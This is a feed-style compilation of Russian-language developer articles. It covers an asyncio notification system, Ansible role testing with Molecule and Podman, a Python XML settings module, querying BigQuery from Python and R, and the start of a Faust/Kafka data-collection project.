  5. Celery пока что не дружит с asyncio, а программный костяк проекта составляет уже реализованная с основой на asyncio библиотека.

Предметная


Система оповещения (объемлющая) исполнена в виде множества микросервисов. Удобства ради, интерфейсы, методы инициализации слоев данных, текста ошибок, а также некоторые блоки повторяющейся логики были вынесены в библиотеку core, которая, в свою очередь, опирается на: gino (asyncio обертка SQLAlchemy), aioredis и aiohttp.

В коде можно увидеть разные сущности, например, User, Contact или Allegiance. Связи между ними представлены на диаграмме ниже, краткое описание под спойлером.


О сущностях ~ 3 минуты
Пользователь человек.

У пользователя есть роль: студент, преподаватель, деканат и т. д., а также почта и имя.

С пользователем может быть связан контакт, где провайдер: ВКонтакте, Telegram, сотовый и т. д.

Пользователи могут состоять в группах [allegiance].

Из групп можно формировать потоки [supergroup].

Группы и потоки могут принадлежать [ownership] пользователям.

Генерация ключа истории


delivery/handlers/history_key/get GitHub

Очередь


delivery/handlers/queue/put GitHub

Обратите внимание на:

  1. Комментарий 171:174;
  2. То, что все манипуляции с Redisом [164:179] завернуты в транзакцию.

Зрение курьеров [94:117]


core/delivery GitHub

Обновление истории курьерами


core/redis_lua GitHub

Инструкции [48:60] отменяют преобразование пустых списков в словари ([] -> {}), так как большинство языков программирования, и CPython в том числе, интерпретируют их иначе, нежели LUA.

ISS: Allow differentiation of arrays and objects for proper empty-object serialization GitHub

Трекер


delivery/handlers/track/post GitHub имплементация.
connect/telegram/handlers/select GitHub [101:134] пример использования в пользовательском интерфейсе.

Курьеры


Всякая доставка из task_stream (@Зрение курьеров) обрабатывается в отдельной asyncio-сопрограмме.

Общая стратегия работы с временными ограничениями прикладных интерфейсов такова: мы не считаем RPS (requests per second), но корректно /реагируем/ на ответы по типу http.TooManyRequests.

Если интерфейс реализует, помимо глобальных (на приложение), еще и пользовательские временные лимиты, то они обрабатываются в порядке очереди, т.е. сначала мы отправляем всем кому можем и только потом начинаем выжидать, если не очень долго.

Telegram


courier/telegram GitHub
Как было замечено ранее, MTProto интерфейс Telegramа выигрывает у HTTP-аналога в стабильности и размере документации. Для взаимодействия с оным мы воспользуемся готовым решением, а именно LonamiWebs/Telethon.

ВКонтакте


courier/vk GitHub
ВКонтакте API поддерживает массовые рассылки через передачу списка идентификаторов в метод messages.send (не более сотни), а также позволяет склеить до двадцати пяти messages.send в одном execute, что дает нам 2500 сообщений за вызов.

Любопытный факт
Многие методы ВКонтакте API, и execute в том числе, наиболее полно описаны в русской версии документации.

Заключительная


В настоящем труде предложен способ организации многоканальной системы массового оповещения. Полученное решение вполне удовлетворяет запросу (@Ключевые требования к сервису рассылок) большинства интересантов, а также предполагает возможность расширения.

Основной недостаток заключается в fire&forget эффекте Pub/Sub, т.е. если удаление ключа заказа придется на момент болезни одного из курьеров, то в соответствующем домене никто ничего не получит, что впрочем будет отражено в истории.
Подробнее..

Шпаргалка по Ansible k8s, практичный учебник по awk, а также 4 причины использовать Jamstack при веб-разработке

24.09.2020 14:19:46 | Автор: admin


Традиционно короткий дайджест полезных материалов, найденных нами в сети за последние две недели.

Начни новое:



Качай:


  • Шпаргалка по Ansible k8s
    Ansible k8s это специальный модуль для управления объектами Kubernetes из плейбуков Ansible. Как объединить Ansible и Kubernetes при автоматизации облака? Ответ: использовать модуль Ansible k8s, чтобы управлять объектами Kubernetes прямо из плейбуков. И поможет в этом наша шпаргалка, которая содержит полезные советы и сведения по ключевым командам этого модуля.
  • Шпаргалка по тестированию приложений Quarkus


  • Книжка-раскраска Контейнерные супергерои
    Децентрализованная команда опенсорсных контейнерных супергероев в лице Podman, CRI-O, Buildah, Skopeo и OpenShift спасает Землю от атаки астероидов, развертывая над планетой защитный экран.



Почитать на досуге:



Мероприятия:


  • 30 сентября, jconf.dev
    Бесплатная виртуальная Java-конференция прямо у вас на экране. Четыре технотрека с экспертами по Java и облаку, 28 углубленных сессий и два потрясающих основных доклада.
  • 13-14 октября, AnsibleFest
    Выступления, демонстрации, практические занятия и все это в онлайне. Отличная возможность виртуально пообщаться с девелоперами, админами и ЛПР-ами, которые успешно справляются с вызовами перемен с помощью опенсорсных технологий ИТ-автоматизации.

По-русски:


Мы продолжаем серию пятничных вебинаров про нативный опыт использования Red Hat OpenShift Container Platform и Kubernetes. Регистрируйтесь и приходите:

Император Оператор: Операторы в OpenShift и Kubernetes
Упс, вебинар прошел, но есть запись.

OpenShift-специфичные волшебные вещи для сборки и развертывания приложений
Вебинар кончился, но остался в истории ловите запись.

Подробнее..

Разработка и тестирование Ansible-ролей с использованием Molecule и Podman

17.09.2020 10:15:44 | Автор: admin
Одно из основных преимуществ Red Hat Ansible Automation Platform заключается в том, что ее язык описания автоматизаций читабелен не только для пары-тройки гуру, но и почти для всех, кто имеет отношение к ИТ. Поэтому вносить свой вклад в автоматизацию могут любые специалисты, что сильно облегчает организацию межкомандного взаимодействия и внедрение автоматизации на уровне корпоративной культуры.



Однако, когда делом занимается такая масса народа, очень важно все тщательно тестировать. При разработке Ansible-контента, вроде плейбуков, ролей или коллекций, мы очень рекомендуем предварительно проверять все в тестовой среде, прежде чем выкатывать в продакшн. Цель такого тестирования удостовериться, что все работает как надо, чтобы избежать неприятных сюрпризов на боевых системах.

Тестирование автоматизационного контента штука довольно сложная, поскольку для этого надо развертывать специальную инфраструктуру тестирования и настраивать условия тестирования, чтобы обеспечить релевантность самих тестов. Molecule это комплексная инфраструктура тестирования, которая помогает разрабатывать и тестировать роли Ansible, чтобы вы могли сосредоточиться на разработке автоматизаций и не отвлекаться на управление инфраструктурой тестирования.

Вот как это декларируется в документации проекта:

Molecule призван помочь в разработке и тестировании ролей Ansible, и способствует внедрению подхода, результатом которого являются комплексно проработанные роли, которые хорошо написаны, просты в понимании и поддержке.

Molecule позволяет протестировать роль на множестве целевых инстансов, чтобы проверить ее в различных комбинациях операционных систем и сред виртуализации. Без него для каждой из таких комбинаций пришлось бы создавать и поддерживать отдельную среду тестирования, настраивать подключение к тестовым инстансам и откатывать их в исходное состояние перед каждым тестированием. Molecule же делает все это за вас, причем автоматизированным и воспроизводимым образом.

В этой серии из двух частей мы покажем, как применять Molecule при разработке и тестировании ролей Ansible. В первой части рассмотрим установку и настройку Molecule, во второй разработку ролей с его помощью.

Если роль является частью коллекции, используйте этот подход для разработки и юнит-тестирования роли. В следующей статье мы покажем, как применять Molecule для выполнения интегрированных тестов в коллекции.

Molecule использует драйверы для предоставления целевых инстансов на базе различных технологий, включая Linux-контейнеры, виртуальные машины и облачных провайдеров. По умолчанию он идет с тремя предустановленными драйверами: Docker и Podman для контейнеров, а также драйвером Delegated для создания кастомных интеграций. Драйверы для других провайдеров предоставляются сообществом разработки проекта.

В этом посте мы будем использовать драйвер Podman для разработки и тестирования новой роли с использованием Linux-контейнеров. Podman это легковесный контейнерный движок для Linux, ему не нужен работающий демон и он обеспечивает запуск rootless-контейнеров, что хорошо для безопасности.

Используя Molecule с драйвером Podman, мы с нуля разработаем и протестируем новую роль Ansible, которая развертывает веб-приложение на базе веб-сервера Apache и должна работать на Red Hat Enterprise Linux (RHEL) 8 или Ubuntu 20.04.

Мы разбираем типовой сценарий, когда роль должна работать на различных версиях операционной системы. Используя Podman и Linux-контейнеры, мы можем создать несколько инстансов, чтобы протестировать роль на разных версиях ОС. Благодаря своей легковесности, контейнеры позволяют быстро итерировать функциональность роли прямо по ходу разработки. Использование контейнеров для тестирования ролей применимо в данной ситуации, поскольку роль конфигурирует только запущенные инстансы Linux. Для тестирования на других целевых системах или облачных инфраструктурах можно использовать драйвер delegated или другие драйверы, предоставляемые сообществом.

Что нам понадобится


Для примеров из этой статьи нужна физическая или виртуальная машина Linux с установленными Python 3 и Podman (мы используем RHEL 8.2). Также Podman должен был сконфигурирован для запуска rootless-контейнеров. Установка Podman выходит за рамки этой статьи, для получения соответствующей информации см. официальную документацию. Установка Podman на RHEL 8 также описывается в документации по контейнерам RHEL 8.

Приступаем


Molecule выполнен в виде Python-пакета и, соответственно, устанавливается через pip. Первым шагом мы создаем выделенное Python-окружение и устанавливаем в него наш Molecule:

$ mkdir molecule-blog$ cd molecule-blog$ python3 -m venv molecule-venv$ source molecule-venv/bin/activate(molecule-venv) $ pip install "molecule[lint]"

Обратите внимание, что мы устанавливаем Molecule с опцией lint, чтобы pip также поставил инструменты yamllint и ansible-lint, которые позволят нам использовать Molecule для статического анализа кода роли на предмет соответствия стандартам кодирования Ansible.

Установка скачивает все необходимые зависимости из интернета, включая Ansible. Теперь смотрим что мы установили:

$ molecule --versionmolecule 3.0.4   ansible==2.9.10 python==3.6

Что ж, пора использовать команду molecule, чтобы инициализировать новую роль Ansible.

Инициализируем новую роль Ansible


Вообще говоря, при разработке новой роли Ansible, она инициализируется командой ansible-galaxy role init, но мы будем использовать вместо этого команду molecule. При этом мы получим ту же структуру роли, что и с командой ansible-galaxy, а также базовую заготовку кода для запуска тестов Molecule.

По умолчанию Molecule использует для выполнения тестов драйвер Docker. Поскольку мы хотим использовать вместо него podman, то при инициализации роли командой molecule надо указать соответствующий драйвер с помощью опции --driver-name=podman.

Переключаемся обратно в каталог molecule-blog и инициализируем новую роль mywebapp следующей командой:

$ molecule init role mywebapp --driver-name=podman--> Initializing new role mywebapp...Initialized role in /home/ricardo/molecule-blog/mywebapp successfully.

Molecule создает структуру нашей роли в папке mywebapp. Переключаемся в эту папку и смотрим, что там:

$ cd mywebapp$ tree. defaults    main.yml files handlers    main.yml meta    main.yml molecule    default        converge.yml        INSTALL.rst        molecule.yml        verify.yml README.md tasks    main.yml templates tests    inventory    test.yml vars     main.yml 10 directories, 12 files

Molecule складывает свои конфигурационные файлы в подкаталог molecule. При инициализации новой роли здесь появляется всего один сценарий, который называется default. Позднее сюда можно добавить свои сценарии для тестирования различных условий. В этой статье мы будем использовать только сценарий default.

Проверим базовую конфигурацию в файле molecule/default/molecule.yml:

$ cat molecule/default/molecule.yml ---dependency:  name: galaxydriver:  name: podmanplatforms:  - name: instance    image: docker.io/pycontribs/centos:7    pre_build_image: trueprovisioner:  name: ansibleverifier:  name: ansible

Как мы и просили, в этом файле указано, что для тестов применяется драйвер Podman. Здесь же задается платформа по умолчанию для тестового инстанса, через контейнерный образ docker.io/pycontribs/centos:7, который мы потом поменяем.

В отличие Molecule v2, Molecule v3 не задает линтер по умолчанию. Поэтому откроем конфигурационный файл molecule/default/molecule.yml и допишем в конце конфигурацию lint:

$ vi molecule/default/molecule.yml...verifier:  name: ansiblelint: |  set -e  yamllint .  ansible-lint .

Сохраним и закроем файл, и запустим команду molecule lint из корневой папки нашего проекта, чтобы прогнать линтер по всему проекту:

$ molecule lint

На выходе получаем несколько ошибок, поскольку в файле meta/main.yml нет ряда требуемых значений. Исправим это: отредактируем файл meta/main.yml, добавив author, company, license, platforms и удалив пустую строку в конце. Для краткости обойдемся без комментариев, и тогда наш meta/main.yaml будет выглядеть так:

$ vi meta/main.ymlgalaxy_info:  author: Ricardo Gerardi  description: Mywebapp role deploys a sample web app   company: Red Hat    license: MIT    min_ansible_version: 2.9   platforms:  - name: rhel    versions:    - 8   - name: ubuntu    versions:    - 20.04   galaxy_tags: [] dependencies: []

Еще раз прогоним по проекту линтер и убедимся, что ошибок больше нет.

$ molecule lint--> Test matrix     default     dependency     lint    --> Scenario: 'default'--> Action: 'dependency'Skipping, missing the requirements file.Skipping, missing the requirements file.--> Scenario: 'default'--> Action: 'lint'--> Executing: set -eyamllint .ansible-lint . 

Итак, наша роль инициализирована и базовая конфигурация molecule тоже на месте. Теперь создадим тестовый инстанс.

Создаем тестовый инстанс


По умолчанию Molecule задает только один инстанс, которые называется instance и создается из образа Centos:7. Наша роль, если помните, должна работать на RHEL 8 и Ubuntu 20.04. Кроме того, поскольку она запускает веб-сервер Apache в качестве системной службы, нам нужен контейнерный образ с включенным systemd.

У Red Hat есть официальный Universal Base Image для RHEL 8 с включенным systemd:

registry.access.redhat.com/ubi8/ubi-init

Для Ubuntu нет официального образа с systemd, поэтому мы воспользуемся образом, который поддерживается силами Джефа Джирлинга (Jeff Geerling) из сообщества Ansible:

geerlingguy/docker-ubuntu2004-ansible

Чтобы получить инстансы с systemd, подправим конфигурационный файл molecule/default/molecule.yml, убрав из него инстанс centos:7 и добавив два новых инстанса:

$ vi molecule/default/molecule.yml---dependency:  name: galaxydriver:  name: podmanplatforms:  - name: rhel8    image: registry.access.redhat.com/ubi8/ubi-init    tmpfs:      - /run      - /tmp    volumes:      - /sys/fs/cgroup:/sys/fs/cgroup:ro    capabilities:      - SYS_ADMIN    command: "/usr/sbin/init"    pre_build_image: true  - name: ubuntu    image: geerlingguy/docker-ubuntu2004-ansible    tmpfs:      - /run      - /tmp    volumes:      - /sys/fs/cgroup:/sys/fs/cgroup:ro    capabilities:      - SYS_ADMIN    command: "/lib/systemd/systemd"    pre_build_image: trueprovisioner:  name: ansibleverifier:  name: ansiblelint: |  set -e  yamllint .  ansible-lint .

С помощью этих параметров мы монтируем для каждого инстанса временную файловую систему /run и /tmp, а также том cgroup. Кроме того, мы включаем функцию SYS_ADMIN, необходимую для запуска контейнеров с Systemd.

Если делать все по уму и выполнять этот пример на машине RHEL 8 с включенным SELinux, то еще надо установить в true логический параметр container_manage_cgroup, чтобы контейнеры могли запускать Systemd, (подробнее см. документацию RHEL 8):

sudo setsebool -P container_manage_cgroup 1

Для инициализации этих инстансов Molecule использует Ansible Playbook. Изменим и добавим параметры инициализации, модифицировав словарь provisioner в конфигурационном файле molecule/default/molecule.yml.

Он принимает те же самые опции конфигурации, что прописаны в конфигурационном файле ansible.cfg. Например, обновим конфигурацию провайдера (provisioner), добавив секцию defaults. Установим интерпретатор Python в auto_silent, чтобы деактивировать предупреждения. Включим callback-плагины profile_tasks, timer и yaml, чтобы профайлерская информация включалась в вывод Playbook. И наконец, добавим секцию ssh_connection и отключим SSH pipelining, поскольку он не работает с Podman:

provisioner:  name: ansible  config_options:    defaults:      interpreter_python: auto_silent      callback_whitelist: profile_tasks, timer, yaml    ssh_connection:      pipelining: false

Сохраним этот файл и создадим инстанс командой molecule create из корневого каталога нашей роли:

$ molecule create

Molecule выполнит инициализационный плейбук и создаст оба наших инстанса. Проверим их командой molecule list:

$ molecule listInstance Name    Driver Name    Provisioner Name    Scenario Name    Created    Converged---------------  -------------  ------------------  ---------------  ---------  -----------rhel8            podman         ansible             default          true       falseubuntu           podman         ansible             default          true       false

Также проверим, что оба контейнера запущены в Podman:

$ podman psCONTAINER ID  IMAGE                                                   COMMAND               CREATED             STATUS                 PORTS  NAMES2e2f14eaa37b  docker.io/geerlingguy/docker-ubuntu2004-ansible:latest  /lib/systemd/syst...  About a minute ago  Up About a minute ago         ubuntu2ce0a0ea8692  registry.access.redhat.com/ubi8/ubi-init:latest         /usr/sbin/init        About a minute ago  Up About a minute ago         rhel8

При разработке роли Molecule использует запущенные инстансы для ее тестирования. Если тест проваливается или какая-то ошибка приводит к необратимым изменениям, из-за которых все надо начинать сначала, вы можете в любое время убить эти инстансы командой molecule destroy и создать их заново командной molecule create.

Заключение


Если вам не терпится и хочется поглубже копнуть тему разработки и тестирования ролей, или тему Ansible-автоматизации, то рекомендуем следующие ресурсы:

Подробнее..

Из песочницы Модуль для работы с XML файлами

17.09.2020 20:15:16 | Автор: admin

Что будем делать


Сегодня мы с Вами сделаем модуль для работы с XML файлами.

Зачем


Иногда при разработке программы на Python требуется сделать настройки, которые сможет поменять любой пользователь без изменения кода.

Что нам понадобится


  • Знание ЯП Python
  • Python3
  • Python библиотеки: xml и time

Начнем


Для начала импортируем все необходимые библиотеки и создадим основной класс.

import xml.etree.ElementTree as xmlimport timeclass XML:    pass

Для работы с XML файлом нам понадобится сам XML файл, но на первом запуске программы у пользователя может не оказаться этого файла, по этому нам понадобится создать его.

При создание экземпляра класса передадим имя файла и сохраним его в параметр fileName.

import xml.etree.ElementTree as xmlimport timeclass XML:    fileName:str    def __init__(self, fileName):        self.fileName = fileName + ".xml"

Теперь напишем функцию, которая будет проверять существует ли наш файл и будем вызывать ее в момент создания экземпляра класса.

import xml.etree.ElementTree as xmlimport timeclass XML:    fileName:str    def __init__(self, fileName):        self.fileName = fileName + ".xml"        self.openFile()    def openFile(self):        try:            file = open(self.fileName, "r")        except FileNotFoundError:            print("File not found")

Далее напишем функцию, которая создаст наш файл если его нет, и будем вызывать его, если программа не нашла файла.

class XML:    fileName:str    def __init__(self, fileName):        self.fileName = fileName + ".xml"        self.openFile()    def openFile(self):        try:            file = open(self.fileName, "r")        except FileNotFoundError:            self.createFile()    def createFile(self):        rootXML = xml.Element("settings")        text = xml.Element("text")        text.text = "Text"        rootXML.append(text)        file = open(self.fileName, "w")        file.write(xml.tostring(rootXML, encoding="utf-8", method="xml").decode(encoding="utf-8"))        file.close()

Теперь более подробно разберем функцию XML.createFile():

  • rootXML это основной элемент, который позволит записать все настройки в новый файл гораздо быстрее чем, если бы мы записывали все теги по отдельности
  • text тег, который будет отображаться внутри rootXML. В поле Element.text указываем, что должно быть внутри элемента

Для того, чтобы сделать список элементов, например:

<settings>    <text>Hello, world!</text>    <list>        <item>1</item>        <item>2</item>        <item>3</item>    </list></settings>

Создайте главный элемент, в нашем случаи list и субэлементы item.

list = xml.Element("list")rootXML.append(list)item: xml.SubElementitem = xml.SubElement(list, "item")item.text = "1"item = xml.SubElement(list, "item")item.text = "2"item = xml.SubElement(list, "item")item.text = "3"#xml.SubElement(parent: xml.Element or xml.SubElement, tag: str)#Также можно сделать субэлемент в субэлементе

Если наша программа программа с интерфейсом, а файл настроек используется для сохранения каких-либо значений, которые может изменить пользователь, то нам понадобится функция, которая может изменить значение элемента. Давайте напишем ее.

class XML:    fileName:str    def __init__(self, fileName):        self.fileName = fileName + ".xml"        self.openFile()    def openFile(self):        try:            file = open(self.fileName, "r")        except FileNotFoundError:            self.createFile()    def createFile(self):        rootXML = xml.Element("settings")        text = xml.Element("text")        text.text = "Text"        rootXML.append(text)        file = open(self.fileName, "w")        file.write(xml.tostring(rootXML, encoding="utf-8", method="xml").decode(encoding="utf-8"))        file.close()    def editFile(self, element, value):        tree = xml.ElementTree(file=self.fileName)        rootXML = tree.getroot()        for elem in rootXML.iter(element):            elem.text = str(value)        tree = xml.ElementTree(rootXML)        tree.write(self.fileName)

В функцию editFile() мы передаем имя элемента(element), который хотим изменить и новое значение(value).

И последнее, что нужно для любой работы с XML файлами это парсинг данных.

class XML:    fileName:str    def __init__(self, fileName):        self.fileName = fileName + ".xml"        self.openFile()    def openFile(self):        try:            file = open(self.fileName, "r")        except FileNotFoundError:            self.createFile()    def createFile(self):        rootXML = xml.Element("settings")        text = xml.Element("text")        text.text = "Text"        rootXML.append(text)        file = open(self.fileName, "w")        file.write(xml.tostring(rootXML, encoding="utf-8", method="xml").decode(encoding="utf-8"))        file.close()    def editFile(self, element, value):        tree = xml.ElementTree(file=self.fileName)        rootXML = tree.getroot()        for elem in rootXML.iter(element):            elem.text = str(value)        tree = xml.ElementTree(rootXML)        tree.write(self.fileName)    def parsingFile(self, elements, text = True):        tree = xml.ElementTree(file=self.fileName)        rootXML = tree.getroot()        for element in rootXML.iter(elements):            if (text):                return element.text            return element

В метод parsingFile() мы передаем имя тега(element), который хотим получить и boolean значение какой тип данных нам вернуть. Если text = True то вернется значение элемента, иначе объект, который после можно будет перебрать. Например у нас есть XML файл:

<settings>    <text>Hello, world!</text>    <list>        <item>1</item>        <item>2</item>        <item>3</item>    </list></settings>

И если мы хотим вывести в консоль все значения item, то мы парсим параметр list и в parsingFile() 2-м параметром передаем False. Начинаем перебирать полученный элемент и выводить element.text имеющий значение выбранного элемента.

import XML as xmlmoduleXml = xml.XML("settings")for element in moduleXml.parsingFile("list", False):    print(element.text)

После выполнения данного кода в консоли мы увидим:

123

Заключение


В итоге у нас получился модуль, который можно использовать в своих проектах для работы с XML файлами.

Проект на gitHub

Всем спасибо и удачи.
Подробнее..
Категории: Python , Python3 , Tutorial , Xml

Перевод Учимся обращаться к данным и запрашивать их при помощи Google BigQuery. С примерами на Python и R

19.09.2020 14:18:00 | Автор: admin
Привет, Хабр!

Совсем недавно у нас вышла подробная книга о работе с хранилищем данных Google BigQuery. Сегодня мы решили вновь кратко затронуть эту тему и опубликовать небольшой кейс о выполнении запросов к данным BigQuery на Python и R.

Сообщите в комментариях, интересует ли публикация на тему машинного обучения с применением BigQuery




Обзор



В этой статье мы рассмотрим, как загружать данные Google BigQuery при помощи Python и R, а потом поговорим о запросах к данным, позволяющим делать полезные выводы. Мы воспользуемся библиотекой Google Cloud BigQuery для подключения к BigQuery Python и библиотекой bigrquery, чтобы добиться того же на языке R.

Также обсудим два этапа операций с данными BigQuery при помощи Python/R:

  • Подключение к Google BigQuery и доступ к данным
  • Запрашивание данных при помощи Python/R


В этой статье предполагается, что все ваши пользовательские данные сохранены в Google BigQuery.

Python



Python один из самых популярных универсальных языков для обращения с данными. Он пользуется вниманием и востребованностью благодаря гибкости и легкости в обращении, а в data science может похвастаться самыми разнообразными библиотеками и инструментами для взаимодействия со сторонними системами.

Подключение к Google BigQuery при помощи Python



Чтобы запрашивать данные Google BigQuery при помощи Python, необходимо подключить клиент Python к инстансу BigQuery. При этом используется облачная клиентская библиотека для Google BigQuery API. Также существуют и альтернативные решения для подключения к BigQuery при помощи Python; например, отлично подойдет библиотека BigQuery-Python от tylertreat.

Мы будем работать с библиотекой Google Cloud BigQuery, так как она стабильна и официально поддерживается Google.

Здесь предполагается, что у вас уже настроена среда разработки для Python.
Чтобы установить библиотеку, запустите в командной строке следующую команду:

pip install --upgrade google-cloud-bigquery

Далее подключаем клиент к базе данных. Для этого потребуется скачать файл JSON, содержащий учетные данные к сервису BigQuery. Если у вас нет такого аккаунта, здесь описано, как его создать. Далее скачайте этот файл JSON на вашу локальную машину.

Теперь, когда у нас все настроено, переходим к инициализации соединения. Для этого используется следующий код Python:

rom google.cloud import bigqueryfrom google.oauth2 import service_accountcredentials = service_account.Credentials.from_service_account_file('path/to/file.json')project_id = 'my-bq'client = bigquery.Client(credentials= credentials,project=project_id)


В вышеприведенном фрагменте вам потребуется указать project_id и местоположение JSON-файла с ключом, заменив 'path/to/file.json' на фактически верный путь к сохраненному на локальной машине файлу JSON.

В Google BigQuery проект является контейнером верхнего уровня и предоставляет задаваемый по умолчанию контроль доступа над всеми множествами данных.

Выполнение запросов к данным BigQuery при помощи Python



Теперь, когда наш клиент BigQuery настроен и готов к использованию, можно выполнять запросы к множеству данных BigQuery.

Для этого используется метод запроса, помещающий задание запроса в очередь BigQuery. Затем запросы выполняются асинхронно это означает, что мы не указываем никаких задержек, а клиент дожидается, пока задание будет выполнено. Как только это произойдет, метод возвращает экземпляр Query_Job, содержащий результаты.

Подробнее о том, как работает этот метод, рассказано в официальной документации здесь.

Вот как выглядит интересующий нас код Python:

query_job = client.query("""   SELECT *   FROM dataset.my_table   LIMIT 1000 """)results = query_job.result() # Дожидаемся завершения задания.


Обратите внимание: в вышеприведенном запросе по умолчанию используется стандартный синтаксис SQL. Если вы желаете пользоваться унаследованным SQL, то код будет таким:

job_config.use_legacy_sql = Truequery_job = client.query("""   SELECT *   FROM dataset.my_table   LIMIT 1000""", job_config = job_config)results = query_job.result() # Дожидаемся завершения задания.


R



Язык R популярная альтернатива Python, активно применяется в data science. Если вас интересует детальный и методичный статистический анализ данных, то мало найдется языков, способных потягаться в этом с R.

При работе с Google BigQuery язык R также предлагает надежную и удобную в использовании библиотеку для запрашивания данных и для операций с ними. Здесь мы будем работать с библиотекой bigrquery, которую создал и поддерживает Хадли Уикем, директор по исследовательской работе из RStudio.

Здесь предполагается, что вы уже настроили среду для разработки в R. Если нет воспользуйтесь этим руководством для настройки RStudio.

Подключение к Google BigQuery при помощи R



Для установки bigrquery запускаем следующую команду из консоли R:

install.packages(bigrquery)

Вот так просто! Мы готовы к работе.

Как и в случае с Python, требуется авторизация нашего клиента R для доступа к Google Cloud Services. Как следует из документации по bigrquery, проследуем по приглашению из консоли R, чтобы открыть URL для авторизации, после чего скопируем код в консоль.

Обратите внимание: такую авторизацию необходимо выполнить всего один раз. Все последующие запросы будут автоматически обновлять учетные данные для доступа.

Выполнение запросов к данным BigQuery при помощи R



Чтобы запрашивать данные BigQuery на языке R, выполним следующие шаги:

  • Укажем ID проекта из консоли Google Cloud, так, как это делалось в Python.
  • Сформируем строку запроса, при помощи которой запросим данные.
  • Вызовем query_exec с ID нашего проекта и строкой запроса.


Вот код, при помощи которого все это реализуется:

# импортируем библиотекуlibrary(bigrquery)# здесь идет ID нашего проектаproject_id <- "your-project-id" # пример запросаsql_string <- "SELECT * FROM dataset.my_table LIMIT 1000"# выполняем запрос и сохраняем результатquery_results <- query_exec(sql_string, project = project_id, useLegacySql = FALSE)


Как и в случае с Python, можно выполнять запросы, написанные на унаследованном SQL. Также можно изменить значение useLegacySql на TRUE в вашей функции query_exec.

Заключение



Итак, мы рассмотрели, как легко и просто работать с данными, сохраненными в Google BigQuery, обращаясь к ним на языках Python и R.

На двух этих языках не составляет труда построить статистическую модель на основе данных, обработанных таким образом, а саму модель задействовать в различных целях: понимать, как ведет себя пользователь в приложении, прогнозировать коэффициент оттока (churn rate), т.д.
Подробнее..

Собираем данные AlphaVantage с Faust. Часть 1. Подготовка и введение

20.09.2020 14:22:27 | Автор: admin

http://personeltest.ru/aways/habrastorage.org/webt/wo/6b/ui/wo6buieqgfwzr4y5tczce4js0rc.png


Как я дошёл до жизни такой?


Сначала я решил опробовать Celery, которым пользовался ранее. В связи с асинхронностью проекта, я погрузился в вопрос и увидел статью, а так же проект, созданный автором статьи.


Скажу так, проект очень интересный и вполне успешно работает в других приложениях нашей команды, да и сам автор говорит о том, что смог выкатить в прод, заюзав асинхронный пул. Но, к сожалению, мне это не очень подошло, так как обнаружилась проблема с групповым запуском задач (см. group). На момент написания статьи issue уже закрыта, однако, работа велась на протяжении месяца. В любом случае, автору удачи и всех благ, так как рабочие штуки на либе уже есть в общем, дело во мне и для меня оказался инструмент сыроват. Вдобавок, в некоторых задачах было по 2-3 http-запроса к разным сервисам, таким образом даже при оптимизации задач мы создаём 4 тысячи tcp соединений, примерно каждые 2 часа не очень Хотелось бы создавать сессию на один тип задач при запуске воркеров. Чуть подробнее о большом кол-ве запросов через aiohttp тут.


В связи с этим, я начал искать альтернативы и нашёл! Создателями celery, а конкретно, как я понял Ask Solem, была создана Faust, изначально для проекта robinhood. Faust написана под впечатлением от Kafka Streams и работает с Kafka в качестве брокера, также для хранения результатов от работы агентов используется rocksdb, а самое главное это то, что библиотека асинхронна.


Также, можете глянуть краткое сравнение celery и faust от создателей последней: их различия, различия брокеров, реализацию элементарной задачи. Всё весьма просто, однако, в faust привлекает внимание приятная особенность типизированные данные для передачи в топик.


Что будем делать?


Итак, в небольшой серии статей я покажу, как собирать данные в фоновых задачах с помощью Faust. Источником для нашего пример-проекта будет, как следует из названия, alphavantage.co. Я продемонстрирую, как писать агентов (sink, топики, партиции), как делать регулярное (cron) выполнение, удобнейшие cli-комманды faust (обёртка над click), простой кластеринг, а в конце прикрутим datadog (работающий из коробки) и попытаемся, что-нибудь увидеть. Для хранения собранных данных будем использовать mongodb и motor для подключения.


P.S. Судя по уверенности, с которой написан пункт про мониторинг, думаю, что читатель в конце последней статьи всё-таки будет выглядеть, как-то так:


http://personeltest.ru/aways/habrastorage.org/webt/e5/v1/pl/e5v1plkcyvxyoawde4motgq7vpm.png


Требования к проекту


В связи с тем, что я уже успел наобещать, составим небольшой списочек того, что должен уметь сервис:


  1. Выгружать ценные бумаги и overview по ним (в т.ч. прибыли и убытки, баланс, cash flow за последний год) регулярно
  2. Выгружать исторические данные (для каждого торгового года находить экстремумы цены закрытия торгов) регулярно
  3. Выгружать последние торговые данные регулярно
  4. Выгружать настроенный список индикаторов для каждой ценной бумаги регулярно

Как полагается, выбираем имя проекту с потолка: horton


Готовим инфраструктуру


Заголовок конечно сильный, однако, всё что нужно сделать это написать небольшой конфиг для docker-compose с kafka (и zookeeper в одном контейнере), kafdrop (если нам захочется посмотреть сообщения в топиках), mongodb. Получаем [docker-compose.yml](https://github.com/Egnod/horton/blob/562fa5ec14df952cd74760acf76e141707d2ef58/docker-compose.yml) следующего вида:


version: '3'services:  db:    container_name: horton-mongodb-local    image: mongo:4.2-bionic    command: mongod --port 20017    restart: always    ports:      - 20017:20017    environment:      - MONGO_INITDB_DATABASE=horton      - MONGO_INITDB_ROOT_USERNAME=admin      - MONGO_INITDB_ROOT_PASSWORD=admin_password  kafka-service:    container_name: horton-kafka-local    image: obsidiandynamics/kafka    restart: always    ports:      - "2181:2181"      - "9092:9092"    environment:      KAFKA_LISTENERS: "INTERNAL://:29092,EXTERNAL://:9092"      KAFKA_ADVERTISED_LISTENERS: "INTERNAL://kafka-service:29092,EXTERNAL://localhost:9092"      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: "INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT"      KAFKA_INTER_BROKER_LISTENER_NAME: "INTERNAL"      KAFKA_ZOOKEEPER_SESSION_TIMEOUT: "6000"      KAFKA_RESTART_ATTEMPTS: "10"      KAFKA_RESTART_DELAY: "5"      ZOOKEEPER_AUTOPURGE_PURGE_INTERVAL: "0"  kafdrop:    container_name: horton-kafdrop-local    image: 'obsidiandynamics/kafdrop:latest'    restart: always    ports:      - '9000:9000'    environment:      KAFKA_BROKERCONNECT: kafka-service:29092    depends_on:      - kafka-service

Тут вообще ничего сложного. Для kafka объявили два listener'а: одного (internal) для использования внутри композной сети, а второго (external) для запросов из вне, поэтому пробросили его наружу. 2181 порт zookeeper'а. По остальному, я думаю, ясно.


Готовим скелет проекта


В базовом варианте структура нашего проекта должна выглядеть так:


